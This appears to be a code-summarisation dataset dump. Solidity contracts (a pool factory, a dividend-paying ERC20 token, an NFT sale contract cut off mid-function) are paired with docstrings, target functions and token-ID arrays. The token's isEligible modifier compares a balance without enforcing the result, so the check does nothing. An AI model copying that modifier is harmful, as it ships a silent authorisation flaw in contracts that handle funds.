-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Owned.sol";
import { IPool } from "./balancer/IPool.sol";
import {
DelegateCallProxyManager
} from "./proxies/DelegateCallProxyManager.sol";
import {
DelegateCallProxyManyToOne
} from "./proxies/DelegateCallProxyManyToOne.sol";
import { SaltyLib as Salty } from "./proxies/SaltyLib.sol";
import { Create2 } from "@openzeppelin/contracts/utils/Create2.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/**
* @title PoolFactory
* @author d1ll0n
*/
contract PoolFactory is Owned {
/* --- Constants --- */
// Default pool implementation ID.
bytes32 internal constant POOL_IMPLEMENTATION_ID = keccak256("IPool.sol");
// Address of the proxy manager contract.
DelegateCallProxyManager internal immutable _proxyManager;
/* --- Events --- */
/** @dev Emitted when a pool using the default implementation is deployed. */
event NewDefaultPool(
address pool,
address controller
);
/** @dev Emitted when a pool using a non-default implementation is deployed. */
event NewNonDefaultPool(
address pool,
address controller,
bytes32 implementationID
);
/* --- Storage --- */
mapping(address => bool) internal _approvedControllers;
mapping(address => bool) internal _isIPool;
/* --- Modifiers --- */
modifier _approved_ {
require(_approvedControllers[msg.sender], "ERR_NOT_APPROVED");
_;
}
/* --- Constructor --- */
constructor(
address owner,
DelegateCallProxyManager proxyManager
) public Owned(owner) {
_proxyManager = proxyManager;
}
/* --- Controller Approval --- */
/** @dev Approves `controller` to deploy index pools. */
function approvePoolController(address controller) external _owner_ {
_approvedControllers[controller] = true;
}
/** @dev Removes the ability of `controller` to deploy index pools. */
function disapprovePoolController(address controller) external _owner_ {
_approvedControllers[controller] = false;
}
/* --- Pool Deployment --- */
/**
* @dev Deploys an index pool and returns the address.
*
* Note: Does not initialize the pool, this must be executed
* by the controller.
*
* Note: Must be called by an approved controller.
*
* @param controllerSalt Create2 salt provided by the deployer
* @param name Name of the index token - should indicate the category and size
* @param symbol Symbol for the index token
*/
function deployIndexPool(
bytes32 controllerSalt,
string calldata name,
string calldata symbol
)
external
_approved_
returns (address poolAddress)
{
bytes32 suppliedSalt = keccak256(abi.encodePacked(
msg.sender, controllerSalt
));
poolAddress = _proxyManager.deployProxyManyToOne(
POOL_IMPLEMENTATION_ID,
suppliedSalt
);
_isIPool[poolAddress] = true;
IPool(poolAddress).configure(
msg.sender,
name,
symbol
);
emit NewDefaultPool(poolAddress, msg.sender);
}
/**
* @dev Deploys an index pool using an implementation ID other than
* the default (keccak256("IPool.sol")) and returns the address.
*
* Note: To support future interfaces, this does not initialize or
* configure the pool, this must be executed by the controller.
*
* Note: Must be called by an approved controller.
*
* @param implementationID Implementation ID for the pool
* @param controllerSalt Create2 salt provided by the deployer
*/
function deployIndexPool(
bytes32 implementationID,
bytes32 controllerSalt
)
external
_approved_
returns (address poolAddress)
{
bytes32 suppliedSalt = keccak256(abi.encodePacked(
msg.sender, controllerSalt
));
poolAddress = _proxyManager.deployProxyManyToOne(
implementationID,
suppliedSalt
);
_isIPool[poolAddress] = true;
emit NewNonDefaultPool(
poolAddress,
msg.sender,
implementationID
);
}
/* --- Queries --- */
/**
* @dev Checks if an address is an ipool.
*/
function isIPool(address pool) external view returns (bool) {
return _isIPool[pool];
}
/**
* @dev Compute the create2 address for a pool deployed by an approved
* indexed controller.
*/
function computePoolAddress(
address controller,
bytes32 controllerSalt
)
public
view
returns (address poolAddress)
{
bytes32 suppliedSalt = keccak256(abi.encodePacked(
controller, controllerSalt
));
poolAddress = Salty.computeProxyAddressManyToOne(
address(_proxyManager),
address(this),
POOL_IMPLEMENTATION_ID,
suppliedSalt
);
}
/* --- Internal Utility Functions --- */
/**
* @dev Re-assigns a uint128 array to a uint256 array.
* This does not affect memory allocation as all Solidity
* uint arrays take 32 bytes per item.
*/
function _to256Array(uint128[] memory arr)
internal
pure
returns (uint256[] memory outArr)
{
assembly {
outArr := arr
}
}
}
/**
* @dev Interface of the public pool implementation contract,
* if the governance dao decides to make one available.
*/
interface PublicPoolImplementation {
function initialize(
address controller,
string calldata name,
string calldata symbol,
address[] calldata tokens,
uint256[] calldata balances,
uint96[] calldata denorms,
address tokenProvider
) external;
}
|
* @dev Compute the create2 address for a pool deployed by an approved indexed controller./
|
function computePoolAddress(
address controller,
bytes32 controllerSalt
)
public
view
returns (address poolAddress)
{
bytes32 suppliedSalt = keccak256(abi.encodePacked(
controller, controllerSalt
));
poolAddress = Salty.computeProxyAddressManyToOne(
address(_proxyManager),
address(this),
POOL_IMPLEMENTATION_ID,
suppliedSalt
);
}
| 12,994,576 |
[
1,
7018,
326,
752,
22,
1758,
364,
279,
2845,
19357,
635,
392,
20412,
8808,
2596,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
3671,
2864,
1887,
12,
203,
565,
1758,
2596,
16,
203,
565,
1731,
1578,
2596,
19290,
203,
225,
262,
203,
565,
1071,
203,
565,
1476,
203,
565,
1135,
261,
2867,
2845,
1887,
13,
203,
225,
288,
203,
565,
1731,
1578,
4580,
19290,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
203,
1377,
2596,
16,
2596,
19290,
203,
565,
262,
1769,
203,
565,
2845,
1887,
273,
10848,
93,
18,
9200,
3886,
1887,
5594,
16027,
12,
203,
1377,
1758,
24899,
5656,
1318,
3631,
203,
1377,
1758,
12,
2211,
3631,
203,
1377,
13803,
1741,
67,
9883,
7618,
2689,
67,
734,
16,
203,
1377,
4580,
19290,
203,
565,
11272,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.21;
/*
from: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/LICENSE
Parts of this code has been audited by OpenZeppelin and published under MIT Licenses
The MIT License (MIT)
Copyright (c) 2016 Smart Contract Solutions, Inc.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
*/
library SafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
///taken from OpenZeppelin in August 2018
contract StandardToken is Ownable{
using SafeMath for uint256;
mapping(address => uint256) internal balances;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
//taken from OpenZeppelin in August 2018, added Locking functionalities
contract PausableToken is StandardToken{
event TokensAreLocked(address _from, uint256 _timeout);
event Paused(address account);
event Unpaused(address account);
bool private _paused = false;
mapping (address => uint256) lockups;
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev Modifier to make a function callable only if tokens are not locked
*/
modifier ifNotLocked(address _from){
if (lockups[_from] != 0) {
require(now >= lockups[_from]);
}
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
/**
* @dev function to lock tokens utill a given block.timestamp
* @param _holders array of adress to lock the tokens from
* @param _timeouts array of timestamps untill which tokens are blocked
* NOTE: _holders[i] gets _timeouts[i]
*/
function lockTokens(address[] _holders, uint256[] _timeouts) public onlyOwner {
require(_holders.length == _timeouts.length);
require(_holders.length < 255);
for (uint8 i = 0; i < _holders.length; i++) {
address holder = _holders[i];
uint256 timeout = _timeouts[i];
// make sure lockup period can not be overwritten
require(lockups[holder] == 0);
lockups[holder] = timeout;
emit TokensAreLocked(holder, timeout);
}
}
function transfer(address _to, uint256 _value) public whenNotPaused ifNotLocked(msg.sender) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from,address _to,uint256 _value)public whenNotPaused ifNotLocked(_from) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
//taken from OpenZeppelin in August 2018
contract BurnableToken is StandardToken{
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _from address from which the tokens are burned
* @param _value The amount of token to be burned.
*/
function burnFrom(address _from, uint256 _value) public onlyOwner{
require(_value <= balances[_from]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_from] = balances[_from].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_from, _value);
emit Transfer(_from, address(0), _value);
}
}
//taken from OpenZeppelin in August 2018
contract MintableToken is StandardToken{
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner());
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract DividendPayingToken is PausableToken, BurnableToken, MintableToken{
event PayedDividendEther(address receiver, uint256 amount);
event PayedDividendFromReserve(address receiver, uint256 amount);
uint256 EligibilityThreshold;
address TokenReserveAddress;
modifier isEligible(address _receiver){
balanceOf(_receiver) >= EligibilityThreshold;
_;
}
function setEligibilityThreshold(uint256 _value) public onlyOwner returns(bool) {
EligibilityThreshold = _value;
return true;
}
function setTokenReserveAddress(address _newAddress) public onlyOwner returns(bool) {
TokenReserveAddress = _newAddress;
return true;
}
function approvePayoutFromReserve(uint256 _value) public onlyOwner returns(bool) {
allowed[TokenReserveAddress][msg.sender] = _value;
emit Approval(TokenReserveAddress,msg.sender, _value);
return true;
}
function payDividentFromReserve(address _to, uint256 _amount) public onlyOwner isEligible(_to) returns(bool){
emit PayedDividendFromReserve(_to, _amount);
return transferFrom(TokenReserveAddress,_to, _amount);
}
function payDividendInEther(address _to, uint256 _amount) public onlyOwner isEligible(_to) returns(bool){
require(address(this).balance >= _amount );
_to.transfer(_amount);
emit PayedDividendEther(_to, _amount);
return true;
}
function depositEtherForDividends(uint256 _amount) public payable onlyOwner returns(bool){
require(msg.value == _amount);
return true;
}
function withdrawEther(uint256 _amount) public onlyOwner returns(bool){
require(address(this).balance >= _amount );
owner().transfer(_amount);
return true;
}
}
contract SET is DividendPayingToken{
string public name = "Securosys";
string public symbol = "SET";
uint8 public decimals = 18;
}
|
* @dev Gets the balance of the specified address. @param _owner The address to query the the balance of. @return An uint256 representing the amount owned by the passed address./
|
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) internal allowed;
| 13,114,980 |
[
1,
3002,
326,
11013,
434,
326,
1269,
1758,
18,
225,
389,
8443,
1021,
1758,
358,
843,
326,
326,
11013,
434,
18,
327,
1922,
2254,
5034,
5123,
326,
3844,
16199,
635,
326,
2275,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
11013,
951,
12,
2867,
389,
8443,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
324,
26488,
63,
67,
8443,
15533,
203,
225,
289,
203,
203,
203,
225,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
2713,
2935,
31,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
pragma solidity ^0.8.0;
/**
* @title Loopy Donuts contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract LoopyDonuts is ERC721, ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
string public PROVENANCE;
uint256 public MAX_TOKENS;
uint256 public REVEAL_TIMESTAMP;
uint public constant RESERVE = 50;
uint256 public startingIndexBlock;
uint256 public startingIndex;
uint256 public donutPrice = 0.07 ether;
uint256 public discountPrice1 = 0.06 ether;
uint256 public discountPrice2 = 0.055 ether;
uint256 public qtyDiscount1 = 5;
uint256 public qtyDiscount2 = 10;
uint public constant maxDonutPurchase = 20;
bool public saleIsActive = false;
// Base URIs - one for IPFS and the other for Arweave
string public IpfsBaseURI;
string public ArweaveBaseURI;
string public mysteryDonutURI;
// Contract lock - when set, prevents altering the base URLs saved in the smart contract
bool public locked = false;
enum StorageType { IPFS, ARWEAVE }
StorageType public mainStorage;
// Whitelist and Presale
mapping(address => bool) Whitelist;
bool public presaleIsActive = false;
/**
@param name - Name of ERC721 as used in openzeppelin
@param symbol - Symbol of ERC721 as used in openzeppelin
@param maxNftSupply - Maximum number of tokens to allow minting
@param revealTs - Timestamp in seconds since epoch of the revealing time
@param main - The initial StorageType value for mainStorage
@param provenance - The sha256 string of concatenated sha256 of all images in their natural order - AKA Provenance.
@param ipfsBase - Base URI for token metadata on IPFS
@param arweaveBase - Base URI for token metadata on Arweave
@param mysteryDonut - URI for pre-reveal Mystery Donut metadata
*/
constructor(string memory name,
string memory symbol,
uint256 maxNftSupply,
uint256 revealTs,
StorageType main,
string memory provenance,
string memory ipfsBase,
string memory arweaveBase,
string memory mysteryDonut) ERC721(name, symbol) {
MAX_TOKENS = maxNftSupply;
REVEAL_TIMESTAMP = revealTs;
mainStorage = main;
PROVENANCE = provenance;
IpfsBaseURI = ipfsBase;
ArweaveBaseURI = arweaveBase;
mysteryDonutURI = mysteryDonut;
}
/**
* @dev Throws if the contract is already locked
*/
modifier notLocked() {
require(!locked, "Contract already locked.");
_;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
/**
* Reserve Donuts for future activities and for supporters
*/
function reserveDonuts() public onlyOwner {
uint supply = totalSupply();
uint i;
for (i = 0; i < RESERVE; i++) {
_safeMint(msg.sender, supply + i);
}
}
/**
* Sets the reveal timestamp
*/
function setRevealTimestamp(uint256 revealTimeStamp) public onlyOwner notLocked {
REVEAL_TIMESTAMP = revealTimeStamp;
}
/*
* Set provenance hash - just in case there is an error
* Provenance hash is set in the contract construction time,
* ideally there is no reason to ever call it.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner notLocked {
PROVENANCE = provenanceHash;
}
/**
* @dev Pause sale if active, activate if paused
*/
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
/**
* @dev Pause presale if active, activate if paused
*/
function flipPresaleState() public onlyOwner {
presaleIsActive = !presaleIsActive;
}
/**
* @dev Adds addresses to the whitelist
*/
function addToWhitelist(address[] calldata addrs) external onlyOwner notLocked {
for (uint i=0; i<addrs.length; i++) {
Whitelist[addrs[i]] = true;
}
}
/**
* @dev Removes addresses from the whitelist
*/
function removeFromWhitelist(address[] calldata addrs) external onlyOwner notLocked {
for (uint i=0; i<addrs.length; i++) {
Whitelist[addrs[i]] = false;
}
}
function registerForPresale() external {
require(!presaleIsActive, "The presale has already begun!");
require(!isSenderInWhitelist(), "Already registered for the presale!");
Whitelist[msg.sender] = true;
}
/**
* @dev Checks if an address is in the whitelist
*/
function isAddressInWhitelist(address addr) public view returns (bool) {
return Whitelist[addr];
}
/**
* @dev Checks if the sender's address is in the whitelist
*/
function isSenderInWhitelist() public view returns (bool) {
return Whitelist[msg.sender];
}
/**
* @dev locks the contract (prevents changing the metadata base uris)
*/
function lock() public onlyOwner notLocked {
require(bytes(IpfsBaseURI).length > 0 &&
bytes(ArweaveBaseURI).length > 0,
"Thou shall not lock prematurely!");
